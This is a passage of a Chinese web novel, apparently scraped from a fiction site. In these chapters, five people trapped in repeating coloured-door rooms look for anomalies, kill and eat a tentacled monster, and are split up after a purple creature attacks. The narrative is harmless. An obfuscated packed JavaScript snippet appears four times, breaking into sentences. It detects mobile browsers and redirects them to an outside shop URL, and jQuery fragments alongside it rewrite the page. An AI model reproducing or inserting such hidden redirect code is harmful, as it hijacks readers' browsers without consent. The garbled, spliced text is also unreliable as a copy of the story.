王国平冷静而精准地砍向怪物的触须,从没有一刀失误,那神色就像在砍村里的年猪,目的就是要一刀致命。 两分钟后,那“东西”从天花板上坠落, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127242|196139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砸在地上,碎成了一坨烂肉。 王国平将砍钝的菜刀扔在一旁,弯着腰,累得气喘吁吁:“累……累死我了。” “啪啪啪……” 翟烬站起来给王国平鼓掌,赞不绝口:“王叔,你真厉害!我刚刚就像看了一部武侠片,厉害厉害。” 陆凌也加入翟烬鼓掌的队伍。 “啪啪啪啪……” 王国平抹了一把脸上的汗水和怪物的液体,低头看了眼那把砍废的菜刀:“我再去蓝屋拿把菜刀。” 三人一起出来时,蒋越川和徐清月都十分惊喜。 “你们进去以后门就关上了,也听不到动静,我还以为你们死里面了。”徐清月抱着熟睡的女婴,小声地和翟烬说。 “看来关上门后就隔音了,刚才王叔的动静那么大,你们都听不见,有机会你们真应该见识一下他有多厉害,完全是对怪物的单方面虐杀。” 徐清月听后对此产生了浓厚兴趣:“那下一次,让我去看,你来抱娃。” 翟烬眨了眨眼睛:“嗯。” 现在就剩绿屋没有检查了。 由于徐清月抱着女婴,翟烬觉得不应该让孩子和他们去冒险,于是还是让蒋越川拿着菜刀在外面保护她们。 进入绿门之后,他们发现除了不再有吊扇上的尸体,其余摆设和上一区域完全一致。 接下来,他们要检查里面的卧室。 翟烬漫不经心走到卧室门口,至今为止,最令她感到不安的一幕出现。 原本应该在吊扇上的“尸体”正安然无恙躺在床上,身上还盖着一层深蓝色床单。 似乎听到有人走入房间,床上的“尸体”缓缓睁开眼睛,带着惊恐的眼神质问:“你们是什么人?” 王国平见他能说话,几步走到他跟前,语气激动:“我们是误入异空间的人,正想办法逃出去,你是不是也被困在这里了?” 那人支起身子,上下打量他们,拧了拧眉:“你们进来几天了?” 王国平笑呵呵说:“我们才来。” 不,不对。 翟烬在王国平又想靠近他的时候,把王国平一把拉回来,并顺手拿走他手上的那把菜刀。 “怎么了?”王国平看向翟烬的目光透着不解。 翟烬比任何时候都要紧张:“别靠近他!” 即便翟烬对他表现出敌意,那人却显得极其平静,他面无表情问道:“你们在怕我?” 这个“人”就是这一区域的异常。 准确的说,他们在上一区域看到的疑似“贺胧”的吊尸、遗书,都只是这个异空间的一部分。 他并不是真正的人。 但如果假设,这一空间才是正确的,上一空间死去的“贺胧”才是异常,又该怎么办? 翟烬问:“你是不是叫贺胧?” 床上躺着的人飞快点头:“嗯,你怎么知道?” 好,现在到验证的时候了。 翟烬来到床边,看向桌子与墙壁的夹缝,在那里果然有一张折叠的纸卡在它们之间。 异常类游戏还有一个特点。 每一个区域,只有唯一一个异常。 如果异常太多,玩家很容易就能看出来,游戏难度会大打折扣。 翟烬从夹缝间把那张纸抽出来,摊开后,她再一次看到了贺胧留下的遗书。 5. 绿门黄门蓝门红门-食物 看到遗书之后,就连王国平都想明白怎么回事了。 翟烬没有选择对异常动手,因为异常不一定要消灭,他们的游戏目标是选择正确的方向,走出这里。 三人转身离开卧室,床上的贺胧情绪变得激动,他扯着嗓门挽留:“你们为什么要走?要把我一个人留在这里吗?喂!你们别走啊!” 无人回应。 或许是程序设定,贺胧只能在床上躺着,没有要起来的意思。 出了门,翟烬把刚才发现贺胧是游戏里的一部分这件事告诉给了徐清月和蒋越川。 蒋越川听后如释重负,浮出欣慰的笑容:“这样看来,应该还没有死人,太好了。” “嗯,这一区域有异常,那我们现在往回走吧。”翟烬带路,先一步往身后的那扇黑门走去。 就在这时,女婴醒了,呜哇哇大哭起来。 徐清月将女婴抱起来,隔着衣服嗅了嗅女婴。 “没有拉粑粑,应该是饿了,我们要找个地方烧水,再用奶粉兑奶。”徐清月一边抱着女婴安抚,一边跟上翟烬的步伐。 一行人往回走,推开黑门来到下一片区域。 “我记得绿屋有电水壶,”翟烬对徐清月说,“还是老样子,你在外面等着,别让孩子看到尸体。” 但这一次,蒋越川却将菜刀拿给陆凌,他解释道:“这次你在外面守着,我和他们一起进去,我记得有个地方藏了饼干,等会顺便找出来吃。” 一进门,他们再次看到挂在吊扇上的尸体。 翟烬去检查卧室的细节,甚至还把包里的遗书和这一区域的遗书逐字进行对比。 蒋越川找到饼干后,用电水壶给女婴烧水,然后站在核对遗书的翟烬身边,庆幸道:“还好这里有水,不然我们就渴死了。” “嗯……这就是你说的饼干?跟刚才的饼干数量一样吗?”翟烬转移视线看向蒋越川放在桌上的饼干。 只有一小袋,他们五个成年人完全不够。 蒋越川显然没发现翟烬的关注点,他露出浅浅的笑容,气定神闲道:“对,一共三块圆形饼干,我数过的。” 才三块。 现在翟烬有点担心他们会不会饿死在这里了。 似乎察觉到她的神情逐渐严肃,蒋越川随后补充:“只要我们一天多通过几关,就能拿更多饼干。” 蒋越川的话在翟烬听来有些天真。 照这个进度,他们一天最多通过四五个门。 人如果长期处于高度紧张状态,就容易感到疲惫,一旦疲惫就容易忽视细节,错过异常。 况且徐清月还在照顾女婴,他们等于少了一个帮手。 如果短时间内,他们无法逃离这里。 食物,是他们必须要解决的燃眉之急。 因为绿屋的细节较多,半小时后,他们才从绿屋走出来,蒋越川还拿着一个烧完水的电水壶。 徐清月让翟烬帮忙抱孩子,然后席地而坐,开始兑奶。 翟烬手足无措抱着已经睁开眼睛的女婴,女婴仰头好奇地打量她。 又圆又大的眼睛,好可爱。 不过,到底是谁把这么小的孩子弄到这种地方来? 真不是人做的事。 “你抱孩子的姿势好僵硬,像个机器人。” 许久不说话的陆凌冷不丁开口,明显带着调侃的意味。 翟烬以为像陆凌这种高冷男不会开玩笑,没想到他不仅会,还特别嘴坏。 “难道你抱就不像机器人了?”翟烬笑着回怼。 正在摇奶瓶的徐清月看着两人,和一旁的蒋越川八卦:“你看,他们三个像不像三口之家?” 这本来是活跃气氛的玩笑,徐清月却迟迟没等到蒋越川回应。 她若无其事瞥向那个对谁都笑呵呵的蒋越川。 只见他嘴角下压,仿佛在冷笑:“嗯,是挺像的。” 徐清月:…… 奶粉融化后,徐清月将女婴从翟烬手中接走,然后悄悄在她耳边问:“你和蒋越川是不是隐瞒了我们一些事?” 翟烬皱了皱眉,毫不犹豫否认:“没有,都什么时候了,我有瞒着你们的必要吗?” 徐清月撅起嘴,显然不信:“哼,不说算了。” 徐清月喂奶的时候,翟烬和众人商量了食物分配问题。 现在他们能找到的食物只有绿屋的三块饼干,为了保证每个人都能存活,在逃出这个地方之前,他们每天都至少要通过五关。 这样才能确保每个人每天都能分到三块饼干。 “这地方没其它食物了吗?”王国平不死心地追问。 翟烬沉默地摇头。 继续工作。 跟刚才一样,他们检查了全是素描的黄屋,存在NPC的蓝屋,就剩红屋还没检查了。 其实他们不一定非要杀死红屋的怪物。 但据陆凌所说,他数了怪物的触须,一共有62条,如果存在异常,怪物触须的数量也许会有变化。 “怪物的攻击方式是什么?”蒋越川看着王国平,“这是体力活,不可能每次都是你上,我们两可以轮着来。” 王国平用手臂模仿怪物触须的攻击方式,然后指了指自己的肩膀:“它的身体里会伸出来一些长条,像鞭子一样挥舞,打人还挺疼的,我被它打到过肩膀。” 蒋越川惊讶地“啊”了一声,紧跟着关心道:“王叔,那你现在还疼吗?” 王国平摆摆手,语气轻松:“没事儿,只有那一下疼,之后就没感觉了。” 于是蒋越川自告奋勇:“那这次杀红屋的怪物就交给我,你休息一局。” 他手握菜刀,和翟烬、王国平一起走进红屋。 上一关,他们进门的时候都没发现怪物是怎么从天花板上出现的。 这次他们看到了。 天花板上有一团圆形的黑色印记,就像霉菌一般依附在上面。 他们进门以后,黑色印记逐渐由二维变成三维。 这个过程,就仿佛从天花板里面钻出来似的。 “要开始了,你站它下面会好砍一些,如果觉得危险,就让我来。”王国平略微担心蒋越川的能力,在他看来这个胆小的年轻人可能连鱼都没杀过。 他的担心并不多余。 怪物伸出触须发起进攻的时候,蒋越川被它抽到过好几次,应该挺疼的,翟烬听到他不断抽气的声音。 幸运的是,怪物好像是不能移动的,它的攻击范围不包括站在门边的他们。 眼看蒋越川就要撑不住了,但他却没有要躲开的意思,又硬生生地挨了几次鞭打。 “蒋越川你过来,我也想试一试怎么砍它。”翟烬给了他一个台阶下,蒋越川很听话,也迅速朝门口跑过来。 “你要去?”王国平微张嘴巴,“小翟,你别逞强啊。” 在王国平眼里,翟烬和她女儿差不多岁数,这个年龄段的女孩子看到这种怪物没吓得昏过去都算好的,翟烬居然说她要上。 翟烬没和王国平多说,接过那把菜刀后,又冲进了怪物的攻击范围。 怪物挥舞触须的速度极快,一不小心翟烬就被它抽了一鞭。 但翟烬是谁? 恐游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127243|196139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区头部UP! 在游戏里,只要熟悉了BOSS的出击速度和方式,BOSS就会瞬间变成弟弟。 在挨了几次毒打后,翟烬不仅能完全躲开它的每一次攻击,还能趁着怪物攻击她的时候,挥刀砍下它的触手。 几次下来,躲避、挥刀的动作就如流水线一般,被她运用得惟妙惟肖。 王国平向翟烬投去赞许的目光:“小翟的反应速度真快,我还以为她会被打哭呢——哦对了,你刚刚被打疼了没有?” 蒋越川面露尴尬,缓缓摇头:“还好,一开始疼,后来打多了就不疼了。” 王国平知道男人都爱面子,不愿意让别人看到脆弱的一面,于是也没有再多问。 随着地上被砍下的触须越来越多,王国平一拍脑门,突发奇想:“这些触须可不可以吃?” 这些触须虽然都是古怪的黑色,但仔细一看就会发现它们和鱿鱼须特别相似,都有吸盘。 “我觉得可以吃!” 翟烬一边对怪物进行砍杀,一边若无其事回头朝他们笑了笑。 游戏里,都是怪物吃玩家。 为了活命,这波他们要倒反天罡! 蒋越川低头瞅了眼被怪物黏液浸泡的黑色触须。 光滑的表皮上有一圈圈大大小小的环节,仔细一看,像极了蚯蚓。 他有点犯恶心,但还是附和着翟烬:“嗯,应该可以吃。” 几分钟后,翟烬砍下怪物的最后一根触须。 跟上次一样,怪物失去所有的触须后从天花板坠落,摔烂成了一坨烂肉。 “这肉可以拿来做红烧肉。”王国平指着那一团黑红色的物质,“我是厨师,味道方面你们不用担心。” 蒋越川听后,面色比刚才还要难看。 翟烬数完所有触须,一共62条,和陆凌说的一样。 她再检查了这个房间的其它细节,同样没找到异常。 至此,这一区域的所有房间他们都检查完毕,没找到异常。 “等把饭吃了,我们再往前走。” 从红屋出来后,翟烬向其他人宣布了要吃怪物肉的消息。 虽然感到恶心,但没人反驳翟烬的提议,因为大家都知道他们最重要的目标是活下去,只要能填饱肚子,他们什么都能吃。 王国平拿着“食材”去蓝屋做饭,一众人有的在里面守着他,有的在蓝屋外面闲聊。 徐清月抱着孩子提议:“出去以后我们几个加好友,我拉个群,没事就出来聚餐。” 蒋越川飞快看了翟烬一眼,连连附和:“行,要不现在我们把对方的微信号记备忘录上面,等出去有网了就加,免得到时候忘了这事儿。” 三人分别记下对方的微信号,翟烬拿着手机去找蓝屋的陆凌和王国平。 刚推开门,她就闻到一股浓烈的炖肉香气,勾得她疯狂分泌唾沫。 “好香啊,已经开始在做了?” 陆凌让开一条道,方便翟烬进入厨房。 王国平回身看了她一眼:“嗯,这鬼地方做菜的作料倒是挺齐全,以后我可以换着花样给你们做吃的,你们放心,这些作料我也刻意记过了,没问题。” 言罢,他娴熟地切肉、麻料,动作干净利索,一看就是长期在后厨忙活的人。 翟烬默默看着这一幕,心想他们队伍可真是人才辈出,有会带孩子的,有武力输出,脑力输出,甚至还有厨师,就像陆凌说的那样,他们也许真是被筛选出来做“游戏”的。 ——不对。 那蒋越川是什么定位? 提供情绪价值的? 6. 绿门黄门蓝门红门-红烧肉 晚上,五个人坐在蓝屋吃饭。 翟烬这辈子都没吃过这么好吃的怪物菜。 黑乎乎的怪物须经过干辣椒爆炒以后,变得焦香扑鼻,秀色可餐。 翟烬夹起来咬了一口,口中的肉外皮微焦,内里却弹牙,酱汁的香辣在舌尖化开,让人忍不住大快朵颐。 除了香辣怪物须以外,王国平还做了一道红烧怪物肉。 怪物肉在他的精心烹饪下酱色油亮,肥肉部分晶莹透亮,瘦肉酥烂,轻轻一碰就颤巍巍地晃。 翟烬夹了一小块塞进嘴里,瞬间咸糯的肉就在她嘴里化开,独特的肉香弥漫在口鼻之间,令人胃口大增。 “王叔,等出去以后,你一定要通过我的好友申请,你做的食物太好吃了!我还想吃!” 翟烬冒着星星眼,一脸虔诚地望着王国平,俨然成为了美食的俘虏。 王国平的厨艺显然不是一般人,除了她以外,另外三人同样觉得好吃。 “呜呜呜,真的好好吃!那我就不客气了!”徐清月大口朵颐,像是几天几夜没吃饭。 陆凌没说话,但他嘴巴在不停地咀嚼,这比赞美更有说服力。 蒋越川一连夹了好几块肉,边吃边说:“的确很好吃,谢谢你王叔,为我们做了这么美味的晚餐。” 王国平不好意思地大笑:“你们喜欢就行,不够的话,下一区域我再去砍些触须下来。” 本以为会饿死在异空间的五人现在终于可以松一口气,只要接下来的路程不出错,他们一定能逃出去。 吃饱饭,五个人一起去布满素描的黄屋睡觉。 这里相对最安全,没有NPC,也没有尸体和怪物,只有满屋子的画。 为了以防万一,他们轮班睡觉,两个人值班,三个人睡觉。 值班的人不仅要负责照顾女婴,一旦有风吹草动,还要及时叫醒其他人。 这一夜格外平静,没有任何事情发生。 第二天大家经过了简单的洗漱,继续向前出发。 以后的所有区域,他们都决定按照黄门、绿门、蓝门、红门进行调查。 随着经历的区域越来越多,大家对这里的一切也越来越熟悉。 除了黄门需要陆凌单独去对比以外,其它房间的细节大家都记得滚瓜烂熟,一眼就能看出来不对的地方。 比如绿门客厅的浅灰色窗帘变成了黑色,比如整片区域的温度都寒冷刺骨,比如红门和绿门调转了位置…… 这些都属于异常,他们一眼就能看出端倪。 蒋越川今天搜集了六包饼干,这意味着,他们今天成功闯了六关。 夜幕再次降临,翟烬询问了他们的意见,众人一致表示,再闯一关就休息,然后留在那一区域吃饭睡觉。 到了下一关,将女婴安顿在黄屋后,徐清月不由感叹:“咱几个还真有缘分,而且你们都是好人,没人作妖,能遇到你们这么好的队友真是我的幸运。” 翟烬也觉得这件事开头虽然离奇,但过程也太一帆风顺了。 就像恐怖游戏里的简单模式,重在体验。 这一区域检查完毕,王国平按部就班去蓝屋做菜。 坐在蓝屋客厅里的NPC像个复读机重复着“没人能离开这里”。 翟烬在沙发上陪NPC坐了一会儿,但实在无聊,就离开蓝门去找外面的人聊天。 王国平一个人待在厨房,他在橱柜里找到一瓶和昨天一模一样的植物油,打开换气扇,热锅烧油。 客厅里端坐着的NPC依旧重复着那句“没人能离开这里”。 一切的场景都和昨天一模一样,王国平将大蒜和辣椒放进去炒的时候,忽然听到一句“你们当中必定有人会死”。 他拿着锅铲猛然回头,望向客厅里的NPC。 它依旧面无表情,重复着那句“没人能离开这里”。 仿佛他刚才听见的是幻觉。 但那真的是幻觉吗? 王国平不那么认为,他关掉换气扇和灶台,拿着菜刀走向门口,心脏咚咚直跳。 正常人都知道,现在这种情况是赶快离开这里,而不是和这个诡异的NPC共处一室。 然而蓝门无论如何也打不开了。 王国平扭身看向坐在沙发上的NPC,只见他缓缓转头,眼神呆滞,脸上浮现出不像人类的笑容:“你们当中必定有人会死。” 十分钟后,翟烬在蓝屋发现晕倒在玄关的王国平,她将他拖到长廊,把其他人都叫过来。 大家聚在一起,呼喊他的名字,但无论怎样他都没有要苏醒的痕迹。 “这里有问题,我们要往回走。”有人这么快出事,翟烬飞快推断出这一区域存在异常。 “但除了王叔晕倒这件事,你们还发现了其它异常吗?万一他只是低血糖导致的晕厥,我们就可能选错路。” 陆凌的担忧并不算多虑,如果只是王国平自身原因导致的晕厥,那这一区域就是正常的,没有异常,他们应该往前走,而不是往回走。 徐清月则很快为这件事下了定论,她斩钉截铁道:“不可能,如果是这样,他不会拿着菜刀晕倒在玄关,他显然预感到了危险,才拿菜刀防身。” 长期写小说的经历,让徐清月事事追求逻辑,她确信蓝屋里有他们没发现的异常,并且那东西会攻击人。 “这么说,蓝屋有怪物……”陆凌眉头紧锁,望着身后那扇蓝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127244|196139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门,“我们要不要杀了它?” “没必要,只要知道存在异常就行,咱们抓紧时间往回走,早点离开这里……你们谁背一下王叔。”翟烬看着两位男士。 蒋越川没说话,蹲下来就将王国平的身体背在身上,他体型偏瘦,王国平又壮,背起来有些费力。 “我记得蓝屋有个轮椅,我们把它拿出来给王叔用。”陆凌提议。 蓝屋的沙发旁边,的确放着个折叠轮椅,所有人都知道,但刚才却没人提。 他们之间形成了一种心照不宣的默契,认为蓝屋存在一种能将人弄晕的怪物,如果进去拿轮椅可能会遭遇不测。 “我们去下一区域拿,这里不安全,走吧。” 翟烬带队往回走,蒋越川背着王国平,徐清月抱着女婴,现在就只有陆凌和翟烬算得上自由身。 下一关,他们先去蓝屋拿轮椅,将王国平放在上面以后,由蒋越川推着,其他人则分别检查了别的房间。 他们这次运气好,这一区域不存在异常,这意味着他们可以在这里休息一晚。 或许是少了个帮手的原因,徐清月变得有些紧张,她将女婴安顿好后找翟烬聊天。 “我们到底能不能出去?这里的空间会不会是无穷无尽的?” 这两天,由于他们都没带充电器,手机很快也没了电,被困在这样一个与世隔绝的地方,手机没电以后,这种远离人类社会的不安也越来越强烈。 翟烬安慰:“肯定能出去,不然它把我们叫来一起面试,一起进入异空间,是为了什么?如果只是为了让我们死,一开始就让我们死不更好吗?” “会不会有种可能……”徐清月脑洞大开,“它把我们叫来面试和进入异空间,是想玩弄我们,我们能不能走出去,它并不关心,就像我们小时候玩草丛里的蚂蚁一样,蚂蚁的死活没人在意,观察、玩弄蚂蚁,只是为了乐趣。” “乐趣?”陆凌反复斟酌这个词,似乎也被徐清月的想法说动。 也不是没有这种可能,翟烬脸色一沉:“那到底是什么东西,把人类视作蚂蚁,要是像你说的这样,我们要给它提供乐趣,才更有存活的价值吧?” 蒋越川似乎对这类话题兴趣不大,他听了半晌,摸了摸下巴道:“你们的想法很有趣,我先睡了,明天还有很多路要走。” 夜晚,正在值班的翟烬听见一丝细微到几乎听不见的脚步声。 “啪啪啪啪……” 某个东西正光着脚在门外的走廊徘徊,时而靠近黄门,时而远离黄门,就像在巡逻一样。 翟烬很快将其他正在酣睡的人摇醒,并朝他们做了个噤声的手势,大家不约而同屏住呼吸聆听屋外的脚步声。 7. 绿门黄门蓝门红门-分离 这一区域的异常已经被他们找到,外面的东西绝不可能是异常。 ——那它是什么呢? 如果是和他们一起闯进来的人类,一定不会毫无目的地在走廊走来走去,浪费时间。 “我们起来收拾跑路吧,大家记住要往回跑,别跑错方向了。”翟烬压低声音,“不要想着战斗,保命要紧。” 找异常类游戏从来不鼓励玩家战斗,而是找到异常后选择正确的方向离开。 徐清月直冒冷汗,她怕极了这种看不到、但却能听见的感觉。 “你们觉得外面是什么?” 翟烬抿了抿唇,面色严峻:“听脚步声有点闷,感觉是个庞然大物,反正肯定不是人类,你们最好别看它,免得被吓到。” 所有人起来收拾的时候,门外的脚步声忽然消失,安静得有些反常。 “我觉得它可能在埋伏我们,大家出去的时候一定要小心。”到了这种生死攸关的时刻,翟烬反而异常冷静。 这就像玩游戏时遇到BOSS战,如果这个时候惊慌失措,那游戏必输。 陆凌和蒋越川合力将王国平抬上轮椅,蒋越川提议暂时由陆凌推王国平,因为他才起床,手臂还有些发麻。 接下来,徐清月抱女婴,翟烬带队。 一众人站在门前,翟烬深吸一口气:“我要开门了。” 那一刻,每个人的心都提到了嗓子眼,所有人屏住呼吸。 可打开黄门后,长长的走廊里空无一物,更别说什么身形高大的怪物了。 短短的时间内,它能藏到哪里去? 翟烬望向头顶——头顶没有。 “我们往回走。” 蒋越川打破宁静,低沉的声音在走廊里回荡。 翟烬走在最前面,蒋越川一直跟在她身后,徐清月抱着女婴走在中间,陆凌推着轮椅上的王国平走在最后。 变故发生在徐清月抱着女婴走过绿门的时候。 绿门猝不及防被打开,然后从里面伸出来一颗巨大的紫色的头,大到完全阻隔了陆凌的视线。 紫色的皮肤、紫色的眼睛、紫色的嘴唇,就连它咧嘴怪笑露出的牙齿都是紫色。 与此同时,这个怪物正以极其怪异的姿势试图从绿屋挤出来。 “快跑!”翟烬一声大喊。 因为被怪物隔开,跟在最后的陆凌只有推着王国平往相反方向跑,很快,身后传来怪物踩在地面的“啪啪啪”声,他不敢回头,除了前面的黑门,他无路可逃。 但前面的方向是错的。 翟烬眼睁睁看着陆凌撞开前面的门,闯进下一区域。 失去目标以后,紫色怪物扭身朝翟烬他们看来,眼珠变成了竖瞳,嘴里说着他们听不懂的话,既像男人又像女人的声音:“卡萨丁吧神鼎飞丹砂咯发结算身上的否大发说道麻给……” 只是这次,它不像刚才追赶陆凌那般急切,它缓缓朝他们走来,好像只是想对话。 “我们快离开这里。” 翟烬推开身前的门,将吓得呆住的徐清月拉走,蒋越川紧跟其后。 门关闭以后,所有人都缄口不语。 那怪物似乎也没有再追上来,门后一片死寂,仿佛刚才的一切都是噩梦。 女婴呜哇哇地大哭起来,啼哭声在走廊里久久回荡,徐清月缓过神后开始安抚女婴。 “陆凌和王叔会不会死?”徐清月脸色惨白,冷汗不断从她额头冒出。 他们都知道陆凌刚才别无选择,只有选择错误的方向。 翟烬沉默片刻,迅速整理好情绪:“不知道,我们继续往前走……接下来黄门的素描画,我们只有把它们都撕下来带在身上,到下一区域后,一对一检查。” 没了陆凌,他们只有靠自己。 既然菜刀能带到下一区域,那么素描画应该也可以,只是每个人要背的东西有所增加。 这一次他们运气好,翟烬很快在绿屋发现卧室里的蓝色被子更换成了红色。 找到异常后,最棘手的要来了——他们要撕下黄屋的素描画。 蒋越川瞥了眼翟烬,叹息道:“陆凌不在,以后这些画检查起来会比较麻烦,只有多花些时间了。” 翟烬正在哄哭闹的女婴,她不知道为什么,从刚才开始一直在哭,徐清月手抱酸了,暂时换成了翟烬。 翟烬一门心思在哄女婴,没回应蒋越川刚才说的话。 蒋越川看她手忙脚乱逗女婴的样子,嘴角勾起一个不易察觉的笑容:“把孩子给我,我也抱一会儿。” 翟烬见有人接手,迅速将女婴抱给他,神奇的是,蒋越川刚抱进怀里,女婴就不哭了,睁着大眼睛,木愣愣看他。 “看来她喜欢你。”徐清月玩笑,“那以后你来抱孩子,我和翟烬做别的。” 蒋越川也没反驳,只微笑点头。 三人推开黄门,满墙的画作,看得人目不暇接,眼花缭乱。 但仔细一看,翟烬还是发现了一些规律。 左墙的画都是植物,右墙的画则是人物,正对面的画是街景。 好在她身上带了笔,把这些画按顺序从墙上撕下来后,她还在这些画上写了编号,以防它们更换位置。 蒋越川抱孩子,而徐清月则帮翟烬整理素描画,她嘴里嘀咕着:“万一素描画更改的细节不太容易被发现,我们就倒霉了。” 翟烬皱眉道:“刚刚陆凌发现有张街景画的商店招牌换成了别的名字,我想我们仔细点也可以发现,只是时间用得比较多。” “你们觉不觉得这些画都是同一个人画的?” 徐清月冷不丁开口,声音里带着不确定性:“我以前高中的时候学过画画,从画法来看,这些画可能是同一个人画的。” 翟烬端详着手中栩栩如生的玫瑰素描画。 她是门外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127245|196139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汉,看不出来这幅画到底画得怎样,只是觉得好看。 蒋越川默默注视着墙上的画,眼睛深处不带一丝情绪:“嗯,可能就是一个人画的,画得也挺好看。” 翟烬来到人物画面前,从几十幅画中一眼看到一个女人的肖像画。 女人有一双冷淡却好看的杏仁眼,鼻梁高挺,薄厚适中的嘴唇紧抿着,好像有点不高兴。 翟烬目瞪口呆看着那幅画,因为画中的女人和她极为相似。 刚让人不解的是,这幅画的右下方写着一行字: 赠给我的ZJ宝贝,爱你的老公。 翟烬:??? 她不记得她交过男朋友,而且从这里的称呼来看,两人十分腻歪,就算她以后有男朋友,也不会让对方这么叫她。 翟烬正在思考怎么和另外两个人公布这一“重大发现”时,徐清月指着上方的一张画,惊讶地捂住嘴巴:“那、那不是我吗?” 翟烬抬眼看去,果然看到徐清月的肖像画在左上方挂着,只是画中的女人戴着黑框眼镜,眼神也不似现在的徐清月那般有神采,整个人略显阴沉。 不仅如此,翟烬还看到了王国平的肖像画,但画中的王国平不像那个她认识的胖胖的王国平,他显得更瘦一些,眼神也更凛冽。 黄屋一直都是陆凌在检查,他肯定也发现了这一点。 一个疑问从翟烬脑海里钻出来——陆凌为什么不告诉他们? - 陆凌为了逃离紫色怪物的追捕,不得不选择错误的方向逃走。 他原本以为他会死,但实际上却无事发生。 他们只是回到了最开始的地方,因为正前方有一个紧闭的电梯门,他们最开始就是从那里下来的。 “咳咳咳……”一阵剧烈的咳嗽之后,王国平奇迹般苏醒了。 “我们、我们又回来了?”他离开轮椅,惊慌失措环顾四周,“其他人呢?” 陆凌蹙了蹙眉,显得有些无奈:“你昏迷的时候,我们和他们走散了,现在我们可能要重头开始了。” “绿眼睛!” 王国平回身,惊恐地盯着陆凌,语无伦次道:“蓝屋的NPC站起来了,它朝我走过来……一个绿眼睛的人出现,他、他来了以后,我就失去意识,是他把我弄晕的!” 陆凌听得一头雾水。 “王叔,你先冷静一下,现在我们已经和他们走散,我们要尽快想办法出去。” …… 等王国平镇静下来以后,他们继续往前。 如果没记错,第二关的异常是“复活”的贺胧,他会躺在床上等他们。 但在经过绿门时,陆凌再一次闻到了从房间传来的腐臭味。 他定住脚步,转身看着身后的王国平,说出自己的猜测:“这些区域好像是随机的,跟我们第一次来的时候不一样了,现在,我们每一个房间都要重新检查一遍。” 8. 绿门黄门蓝门红门-完美结局 距离他们遇到紫色怪物已经过了两天。 截止目前,翟烬他们一共通过了27个区域,其中有19个异常区域,按照比例来算,大约有三分之一的区域是正确的。 傍晚,徐清月将女婴抱在怀里,满脸愁容坐在蓝屋的餐椅上,蒋越川坐她正对面,时不时朝身后的厨房打量。 翟烬站在厨房,将手中的怪物肉糜搓成圆滚滚的肉丸,再依次放入沸水中,不过一会儿,热气袅袅升腾,裹挟着浓郁的鲜香,在空气里飘散开来。 当翟烬把怪物肉丸子端上来时,徐清月迅速把女婴转交给蒋越川,然后拿起筷子狼吞虎咽。 翟烬作为美食UP,平时对食物的味道很挑剔,很讲究。 会吃的人,大多数也会自己做,翟烬就是那种既会吃又会做的人。 “唔,这若好鲜,努放了鸡精调味?”徐清月嘴里包着肉,说话含糊不清。 “没放,这鬼地方哪有鸡精?我就放了酱油和胡椒粉。”翟烬夹起一个肉丸塞进嘴里,“这怪物肉怎么做都好吃。” 没有猪肉的油腻,没有鸡肉的干柴,也不似羊肉那般腥膻,味道和口感都吊打她以前吃过的和牛。 要是可以的话,她想在离开这里之前再搞一些肉带出去烤着吃。 徐清月吃饱了,又开始变得焦虑,接过女婴后,或许联想到自己的女儿,她自我安慰:“失踪这么久,我爸妈和老公一定会报警,咱们五个人一起消失,算得上大新闻,警察不可能不管我们。” “嗯,但愿如此。”翟烬幽幽道。 徐清月歪着头,顺口追问:“你父母呢?他们不会担心你吗?” 翟烬耸了耸肩,埋着头吃肉:“他们在我读高中的时候就一起出车祸去世了。” 翟烬不愿意多说自己已故的父母,因为她的父母感情并不好,从她记事开始就吵个不停,出事那天,两人原本是要去民政局办理离婚。 结果婚没离成,命给丢了。 “啊……”徐清月连忙道歉,“不好意思,我不该问那么详细。” 蒋越川抿着嘴唇,琥铂色的眼睛在翟烬脸上转来转去,好一会儿才说:“我觉得我们应该快要出去了,也不知道出去以后怎么跟其他人解释。” 